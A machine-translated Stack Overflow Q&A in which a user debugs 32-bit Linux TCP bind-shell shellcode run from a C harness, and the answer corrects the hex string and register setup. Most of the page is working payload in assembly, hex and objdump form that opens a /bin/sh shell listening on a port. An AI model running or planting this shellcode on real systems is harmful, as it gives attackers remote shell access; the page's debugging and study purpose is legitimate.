c - 即使使用 -m32,32 位 shellcode 在汇编中执行,但在 64 位操作系统上不能在 c 中执行

标签 c assembly tcp x86 shellcode

我正在为 32 位系统开发 tcp-bind shellcode。代码位于 32 位 ubuntu 上,主机操作系统是 64 位 Windows 10(他们甚至制作 32 位 Windows 10 吗?)

shellcode 是一个 tcp 绑定(bind)。它作为自己的独立可执行文件执行得很好,但是当代码转换为十六进制并放入 C 测试程序时,会出现段错误。即使使用时也会发生这种情况 gcc -m32 -fno-stack-protector -z execstack

这是反汇编的 shellcode

    global _start

    section .text
    _start:
    xor edi, edi

    ; Socket Call
    mov al, 0x66    ;SysSocket syscall
    mov bl, 1     ; Socket call
    push edi        ; INADDR_ANY
    push 1  ; SOCK_STREAM
    push 2  ; AF_INET
    mov ecx, esp    ; long *args
    int 0x80


    ;Bind
    mov edx, eax    ; reurn of Socket call is sockfd, place into edi
    mov al, 0x66    ; SysSocket syscall
    inc bl  ; Bind call
    push edi; INADDR_ANY
    push word 0x3582; Port Number
    push word 2     ; AF_INET
    mov ecx, esp
    push 16         ;addrlen
    push ecx        ;*sockaddr
    push edx        ;SockFD
    mov ecx, esp
    int 0x80

    ;Listen
    mov al, 0x66
    add bl, 2
    push edi
    push edx
    mov ecx, esp
    int 0x80

    ;Accept
    mov al, 0x66
    inc bl
    push edi
    push edi;
    push edx
    mov ecx, esp
    int 0x80

    ;ready for dup2

    xchg ebx, eax
    xor ecx, ecx
    mov cl, 2


    loop:
    mov al, 63
    int 0x80
    dec ecx
    cmp ecx, edi
    jge loop
    ; PUSH the first null dword
    push edi

    ; PUSH //bin/sh (8 bytes)

    push 0x68732f2f
    push 0x6e69622f

    mov ebx, esp

    push edi
    mov edx, esp

    push ebx
    mov ecx, esp

    mov al, 11
    int 0x80

这是 C 代码:

    #include<stdio.h>
    #include<string.h>

    unsigned char code[] = \ 
    "\x31\xff\xb0\x66\xb3\x01\x57\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2        
    \xb0\x66\xfe\xc3\x57\x66\x68\x82\x35\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52
    \x89\xe1\xcd\x80\xb0\x66\x80\xc3\x02\x57\x52\x89\xe1\xcd\x80\xb0\x66\xfe
    \xc3\x57\\x57\x52\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80
    \x49\x39\xf9\\x7d\xf7\x57\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
    \x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

    main()
    {

    printf("Shellcode Length:  %d\n", strlen(code));

    int (*ret)() = (int(*)())code;

    ret();

    }

如果能帮助我弄清楚我何时无法在 C 中执行以及如何修复,我们将不胜感激。谢谢!

对于那些希望使用此代码的人,我不承担任何责任。

最佳答案

您发布的代码有问题。用换行符分割行不应该真正编译。我不确定您是否在问题中插入了换行符以提高可读性,并且原始文件在所有一行上都定义了字符串。在几个位置有一个无关的 \。有一个 \\x57 应该是 \x57\\x7d 应该是 \x7d

它可能应该看起来像:

unsigned char code[] = \
"\x31\xff\xb0\x66\xb3\x01\x57\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2"
"\xb0\x66\xfe\xc3\x57\x66\x68\x82\x35\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52"
"\x89\xe1\xcd\x80\xb0\x66\x80\xc3\x02\x57\x52\x89\xe1\xcd\x80\xb0\x66\xfe"
"\xc3\x57\x57\x52\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80"
"\x49\x39\xf9\x7d\xf7\x57\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

上面的字符串将每一行放在自己的双引号之间,以便编译器在解析时将它们连接起来。

您的汇编代码可能很幸运,因为它完全可以作为独立的应用程序运行。在另一个程序内部,寄存器很可能不为零。您的代码执行以下操作:

xor edi, edi

; Socket Call
mov al, 0x66    ;SysSocket syscall
mov bl, 1     ; Socket call

您将整个EDI寄存器清零,但您的代码依赖于EAXEBX的高位为零,这可能不是案件。您应该将这两个值归零:

xor edi, edi
xor eax, eax
xor ebx, ebx

; Socket Call
mov al, 0x66    ;SysSocket syscall
mov bl, 1     ; Socket call

添加两条额外指令将寄存器清零将使字符串看起来像:

unsigned char code[] = \
"\x31\xff\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x57\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2"
"\xb0\x66\xfe\xc3\x57\x66\x68\x82\x35\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52"
"\x89\xe1\xcd\x80\xb0\x66\x80\xc3\x02\x57\x52\x89\xe1\xcd\x80\xb0\x66\xfe"
"\xc3\x57\x57\x52\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80"
"\x49\x39\xf9\x7d\xf7\x57\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

OBJDUMP 在这种情况下是一个有用的工具。它可以反汇编可执行文件中的代码和数据(在本例中是您的C代码)。您可以使用此输出来确认该字符串具有您期望的指令。 objdump -D -Mintel progname 其中 progname 是可执行文件的名称。 -Mintel 使用 Intel 语法而不是 AT&T 反汇编代码和数据。从字符数组 code 生成的输出如下所示:

 08049780 <code>:
 8049780:       31 ff                   xor    edi,edi
 8049782:       31 c0                   xor    eax,eax
 8049784:       31 db                   xor    ebx,ebx
 8049786:       b0 66                   mov    al,0x66
 8049788:       b3 01                   mov    bl,0x1
 804978a:       57                      push   edi
 804978b:       6a 01                   push   0x1
 804978d:       6a 02                   push   0x2
 804978f:       89 e1                   mov    ecx,esp
 8049791:       cd 80                   int    0x80
 8049793:       89 c2                   mov    edx,eax
 8049795:       b0 66                   mov    al,0x66
 8049797:       fe c3                   inc    bl
 8049799:       57                      push   edi
 804979a:       66 68 82 35             pushw  0x3582
 804979e:       66 6a 02                pushw  0x2
 80497a1:       89 e1                   mov    ecx,esp
 80497a3:       6a 10                   push   0x10
 80497a5:       51                      push   ecx
 80497a6:       52                      push   edx
 80497a7:       89 e1                   mov    ecx,esp
 80497a9:       cd 80                   int    0x80
 80497ab:       b0 66                   mov    al,0x66
 80497ad:       80 c3 02                add    bl,0x2
 80497b0:       57                      push   edi
 80497b1:       52                      push   edx
 80497b2:       89 e1                   mov    ecx,esp
 80497b4:       cd 80                   int    0x80
 80497b6:       b0 66                   mov    al,0x66
 80497b8:       fe c3                   inc    bl
 80497ba:       57                      push   edi
 80497bb:       57                      push   edi
 80497bc:       52                      push   edx
 80497bd:       89 e1                   mov    ecx,esp
 80497bf:       cd 80                   int    0x80
 80497c1:       93                      xchg   ebx,eax
 80497c2:       31 c9                   xor    ecx,ecx
 80497c4:       b1 02                   mov    cl,0x2
 80497c6:       b0 3f                   mov    al,0x3f
 80497c8:       cd 80                   int    0x80
 80497ca:       49                      dec    ecx
 80497cb:       39 f9                   cmp    ecx,edi
 80497cd:       7d f7                   jge    80497c6 <code+0x46>
 80497cf:       57                      push   edi
 80497d0:       68 2f 2f 73 68          push   0x68732f2f
 80497d5:       68 2f 62 69 6e          push   0x6e69622f
 80497da:       89 e3                   mov    ebx,esp
 80497dc:       57                      push   edi
 80497dd:       89 e2                   mov    edx,esp
 80497df:       53                      push   ebx
 80497e0:       89 e1                   mov    ecx,esp
 80497e2:       b0 0b                   mov    al,0xb
 80497e4:       cd 80                   int    0x80

关于c - 即使使用 -m32,32 位 shellcode 在汇编中执行,但在 64 位操作系统上不能在 c 中执行,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/43878767/

相关文章:

c - 为什么#define 一个空的宏?

c - 用一些预定义值替换未定义标记的宏

c - 警告 : Function must be extern error in C

c - 需要帮助拆卸

java - 如何在 AWS Elastic Beanstalk 中托管 Java TCP 服务器

Linux:套接字关闭()与关闭()

c - 使用 pthreads 时仍然可以访问的字节数

c - gdb 观察大量内存以找出损坏,这里没有段错误

c - 如何获取栈指针的值? (MIPS 海湾合作委员会)

python-3.x - Python 异步 io 流